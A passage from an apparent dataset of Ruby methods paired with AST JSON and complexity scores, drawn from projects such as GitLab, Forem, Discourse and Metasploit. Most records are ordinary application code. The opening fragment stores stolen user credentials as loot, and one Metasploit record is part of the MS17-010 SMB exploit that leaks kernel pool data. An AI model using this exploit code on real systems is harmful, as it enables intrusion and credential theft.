:\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_table\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"surgenews.user.creds\"]},{\"type\":\"str\",\"children\":[\"text/csv\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_table\"]},\"to_csv\"]},{\"type\":\"str\",\"children\":[\"SurgeNews User Credentials\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Credentials saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]}]}","id":"9621fcad-f1c6-4448-8734-27fd951628e1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/groups/feature_setting.rb","start_line":18,"raw_source":"def resource_member?(user, feature)\n group.member?(user, ::Groups::FeatureSetting.required_minimum_access_level(feature))\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_member?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"feature\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"member?\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Groups\"]},\"FeatureSetting\"]},\"required_minimum_access_level\",{\"type\":\"lvar\",\"children\":[\"feature\"]}]}]}]}","id":"ca3eaac1-bc97-424f-8630-233d15c63b82"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/stories/feeds_controller.rb","start_line":40,"raw_source":"def assign_feed_stories\n params[:type_of] = \"discover\" if params[:type_of].blank?\n\n stories = if params[:timeframe].in?(Timeframe::FILTER_TIMEFRAMES)\n timeframe_feed\n elsif params[:type_of] == \"following\" && user_signed_in? && params[:timeframe] == Timeframe::LATEST_TIMEFRAME\n latest_following_feed\n elsif params[:type_of] == \"following\" && user_signed_in?\n relevant_following_feed\n elsif params[:timeframe] == Timeframe::LATEST_TIMEFRAME\n latest_feed\n elsif user_signed_in?\n signed_in_base_feed\n else\n signed_out_base_feed\n end\n\n ArticleDecorator.decorate_collection(stories)\n end","complexity_score":51.6,"ast_json":"{\"type\":\"def\",\"children\":[\"assign_feed_stories\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type_of\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"type_of\"]},{\"type\":\"str\",\"children\":[\"discover\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"stories\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeframe\"]}]},\"in?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeframe\"]},\"FILTER_TIMEFRAMES\"]}]},{\"type\":\"send\",\"children\":[null,\"timeframe_feed\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type_of\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"following\"]}]},{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeframe\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeframe\"]},\"LATEST_TIMEFRAME\"]}]}]},{\"type\":\"send\",\"children\":[null,\"latest_following_feed\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type_of\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"following\"]}]},{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]}]},{\"type\":\"send\",\"children\":[null,\"relevant_following_feed\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeframe\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeframe\"]},\"LATEST_TIMEFRAME\"]}]},{\"type\":\"send\",\"children\":[null,\"latest_feed\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]},{\"type\":\"send\",\"children\":[null,\"signed_in_base_feed\"]},{\"type\":\"send\",\"children\":[null,\"signed_out_base_feed\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArticleDecorator\"]},\"decorate_collection\",{\"type\":\"lvar\",\"children\":[\"stories\"]}]}]}]}","id":"87e2647b-b92a-4c6b-8ba5-d322b3fb26cb"} {"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":222,"raw_source":"def test_strings_should_get_stripped_inside_tags\n assert_equal(\"
This should have no spaces in front of it
\",\n render(\".stripped This should have no spaces in front of it\").chomp)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_strings_should_get_stripped_inside_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"
This should have no spaces in front of it
\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\".stripped This should have no spaces in front of it\"]}]},\"chomp\"]}]}]}","id":"772d008b-cb50-4718-b401-52e53c55d7ff"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/versions/update_service.rb","start_line":53,"raw_source":"def no_valid_version_before_or_now?\n version_sharings.index(model.sharing_before_last_save).nil? ||\n version_sharings.index(model.sharing).nil?\n end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"no_valid_version_before_or_now?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_sharings\"]},\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"sharing_before_last_save\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_sharings\"]},\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"sharing\"]}]},\"nil?\"]}]}]}","id":"c79bc188-5a9d-41fd-9e10-7a689834b328"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/percent_string_array.rb","start_line":61,"raw_source":"def contains_quotes_or_commas?(node)\n node.values.any? do |value|\n literal = value.children.first.to_s.scrub\n\n # To avoid likely false positives (e.g. a single ' or \")\n next if literal.gsub(/[^[[:alnum:]]]/, '').empty?\n\n QUOTES_AND_COMMAS.any? { |pat| literal.match?(pat) }\n end\n end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"contains_quotes_or_commas?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"values\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"literal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"children\"]},\"first\"]},\"to_s\"]},\"scrub\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"literal\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^[[:alnum:]]]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QUOTES_AND_COMMAS\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pat\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"literal\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"pat\"]}]}]}]}]}]}","id":"0a3a1aba-7523-4305-91b0-89bb66c27199"} {"repo_name":"forem","file_path":"./repos/forem/app/models/reaction.rb","start_line":191,"raw_source":"def update_reactable\n Reactions::UpdateRelevantScoresWorker.perform_async(id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_reactable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reactions\"]},\"UpdateRelevantScoresWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}","id":"3f8ef9a2-f105-467b-a365-6273a20e0c64"} {"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20131014203951_backfill_post_upload_reverse_index.rb","start_line":69,"raw_source":"def is_local_avatar?(url)\n url.starts_with?(local_avatar_base_url)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"is_local_avatar?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"starts_with?\",{\"type\":\"send\",\"children\":[null,\"local_avatar_base_url\"]}]}]}","id":"051b2c1f-fd61-4131-8972-a9b9bb8601f4"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/smb/client/psexec_ms17_010.rb","start_line":850,"raw_source":"def leak_frag_size(fid)\n # use same mid for NT Trans and NT Trans Secondary\n mid = next_multiplex_id()\n\n op = ::Rex::Proto::SMB::Constants::NT_TRANSACT_RENAME\n\n r1pkt = create_nt_trans_packet(op, param: [fid].pack(\"V\"), mid: mid, data: Rex::Text.rand_text_alpha(0x10d0), # data: \"A\" * 0x10d0,#\n maxParameterCount: GROOM_TRANS_SIZE - 0x10d0 - TRANS_NAME_LEN)\n\n r2pkt = create_nt_trans_secondary_packet(mid: mid, data: Rex::Text.rand_text_alpha(276)) # data: \"B\" * 276) #\n\n r1bin = r1pkt.to_s[0..-9]\n r2bin = r1pkt.to_s[-8..-1] + r2pkt.to_s\n self.simple.client.smb_send(r1bin)\n self.simple.client.smb_send(r2bin)\n\n data = recv_transaction_data(mid, 0x10d0 + 276)\n data = data[0x10d4..-1]\n\n if data[X64_FRAG_TAG_OFFSET..-1].starts_with? 'Frag'\n @ctx['arch'] = 'x64'\n @ctx['FRAG_POOL_SIZE'] = data[X64_FRAG_TAG_OFFSET - 2].ord * X64_POOL_ALIGN\n elsif data[X86_FRAG_TAG_OFFSET..-1].starts_with? 'Frag'\n @ctx['arch'] = 'x86'\n @ctx['FRAG_POOL_SIZE'] = data[X86_FRAG_TAG_OFFSET - 2].ord * X86_POOL_ALIGN\n else\n raise MS17_010_Error, \"Unable to parse Frag leak data!\"\n end\n\n vprint_status(\"Frag pool info leak: arch=#{@ctx['arch']}, size=0x#{@ctx['FRAG_POOL_SIZE'].to_s(16)}\")\n end","complexity_score":67.88,"ast_json":"{\"type\":\"def\",\"children\":[\"leak_frag_size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mid\",{\"type\":\"send\",\"children\":[null,\"next_multiplex_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"op\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"SMB\"]},\"Constants\"]},\"NT_TRANSACT_RENAME\"]}]},{\"type\":\"lvasgn\",\"children\":[\"r1pkt\",{\"type\":\"send\",\"children\":[null,\"create_nt_trans_packet\",{\"type\":\"lvar\",\"children\":[\"op\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"param\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fid\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mid\"]},{\"type\":\"lvar\",\"children\":[\"mid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[4304]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"maxParameterCount\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GROOM_TRANS_SIZE\"]},\"-\",{\"type\":\"int\",\"children\":[4304]}]},\"-\",{\"type\":\"const\",\"children\":[null,\"TRANS_NAME_LEN\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r2pkt\",{\"type\":\"send\",\"children\":[null,\"create_nt_trans_secondary_packet\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mid\"]},{\"type\":\"lvar\",\"children\":[\"mid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[276]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r1bin\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r1pkt\"]},\"to_s\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-9]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r2bin\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r1pkt\"]},\"to_s\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[-8]},{\"type\":\"int\",\"children\":[-1]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r2pkt\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"simple\"]},\"client\"]},\"smb_send\",{\"type\":\"lvar\",\"children\":[\"r1bin\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"simple\"]},\"client\"]},\"smb_send\",{\"type\":\"lvar\",\"children\":[\"r2bin\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"recv_transaction_data\",{\"type\":\"lvar\",\"children\":[\"mid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4304]},\"+\",{\"type\":\"int\",\"children\":[276]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4308]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"const\",\"children\":[null,\"X64_FRAG_TAG_OFFSET\"]},{\"type\":\"int\",\"children\":[-1]}]}]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"Frag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ctx\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"arch\"]},{\"type\":\"str\",\"children\":[\"x64\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ctx\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"FRAG_POOL_SIZE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"X64_FRAG_TAG_OFFSET\"]},\"-\",{\"type\":\"int\",\"children\":[2]}]}]},\"ord\"]},\"*\",{\"type\":\"const\",\"children\":[null,\"X64_POOL_ALIGN\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"const\",\"children\":[null,\"X86_FRAG_TAG_OFFSET\"]},{\"type\":\"int\",\"children\":[-1]}]}]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"Frag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ctx\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"arch\"]},{\"type\":\"str\",\"children\":[\"x86\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ctx\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"FRAG_POOL_SIZE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"X86_FRAG_TAG_OFFSET\"]},\"-\",{\"type\":\"int\",\"children\":[2]}]}]},\"ord\"]},\"*\",{\"type\":\"const\",\"children\":[null,\"X86_POOL_ALIGN\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"MS17_010_Error\"]},{\"type\":\"str\",\"children\":[\"Unable to parse Frag leak data!\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Frag pool info leak: arch=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ctx\"]},\"[]\",{\"type\":\"str\",\"children\":[\"arch\"]}]}]},{\"type\":\"str\",\"children\":[\", size=0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ctx\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FRAG_POOL_SIZE\"]}]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]}]}]}]}]}","id":"35e0dfab-10a5-4b7e-a0af-c2c034859cf1"} {"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/common/class_filter.rb","start_line":26,"raw_source":"def filter\n validate_class_names!\n\n classes_to_include = @classes.dup\n classes_to_include.select! { |klass| class_included?(@only, klass) } if @only.any?\n classes_to_include.reject! { |klass| class_included?(@skip, klass) } if @skip.any?\n\n classes_with_dependencies = Set.new(classes_to_include)\n classes_to_include.each { |klass| add_dependencies(klass, classes_with_dependencies) }\n\n classes_with_dependencies.to_a\n end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_class_names!\"]},{\"type\":\"lvasgn\",\"children\":[\"classes_to_include\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@classes\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@only\"]},\"any?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes_to_include\"]},\"select!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[null,\"class_included?\",{\"type\":\"ivar\",\"children\":[\"@only\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@skip\"]},\"any?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes_to_include\"]},\"reject!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[null,\"class_included?\",{\"type\":\"ivar\",\"children\":[\"@skip\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"classes_with_dependencies\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"classes_to_include\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes_to_include\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[null,\"add_dependencies\",{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"lvar\",\"children\":[\"classes_with_dependencies\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes_with_dependencies\"]},\"to_a\"]}]}]}","id":"e0b41c74-97a1-4e0e-9319-97d3657bfc2f"} {"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/models/connector.rb","start_line":126,"raw_source":"def generate_response(payload)\n connection_config = resolved_configuration.with_indifferent_access\n client = connector_client.new\n client.send(:run_model, connection_config, JSON.parse(payload))\n end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resolved_configuration\"]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"client\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connector_client\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"send\",{\"type\":\"sym\",\"children\":[\"run_model\"]},{\"type\":\"lvar\",\"children\":[\"connection_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}","id":"e4ff1303-3927-403e-8f4c-60038c142aa7"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/promotion/rules/first_order.rb","start_line":34,"raw_source":"def completed_orders\n user ? user.orders.for_store(store).complete : orders_by_email\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"completed_orders\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"orders\"]},\"for_store\",{\"type\":\"send\",\"children\":[null,\"store\"]}]},\"complete\"]},{\"type\":\"send\",\"children\":[null,\"orders_by_email\"]}]}]}","id":"3ef346e0-cc18-48cf-971c-5649e9ff6785"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/milestones_controller.rb","start_line":27,"raw_source":"def index\n @sort = params[:sort] || 'due_date_asc'\n @milestones = milestones.sort_by_attribute(@sort)\n\n respond_to do |format|\n format.html do\n @milestone_states = Milestone.states_count(@project)\n # We need to show group milestones in the JSON response\n # so that people can filter by and assign group milestones,\n # but we don't need to show them on the project milestones page itself.\n @milestones = @milestones.for_projects\n @milestones = @milestones.page(params[:page])\n end\n format.json do\n render json: @milestones.to_json(only: [:id, :title, :due_date], methods: :name)\n end\n end\n end","complexity_score":29.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@sort\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},{\"type\":\"str\",\"children\":[\"due_date_asc\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@milestones\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"milestones\"]},\"sort_by_attribute\",{\"type\":\"ivar\",\"children\":[\"@sort\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@milestone_states\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Milestone\"]},\"states_count\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@milestones\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@milestones\"]},\"for_projects\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@milestones\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@milestones\"]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@milestones\"]},\"to_json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"due_date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"methods\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]}]}]}]}]}]}","id":"4e3804be-b70a-44b3-8cdc-20e2b8305cb6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/packages/go/module.rb","start_line":70,"raw_source":"def version_by_ref(ref)\n # reuse existing versions\n if strong_memoized?(:versions)\n v = versions.find { |v| v.ref == ref }\n return v if v\n end\n\n commit = ref.dereferenced_target\n semver = Packages::SemVer.parse(ref.name, prefixed: true)\n Packages::Go::ModuleVersion.new(self, :ref, commit, ref: ref, semver: semver)\n 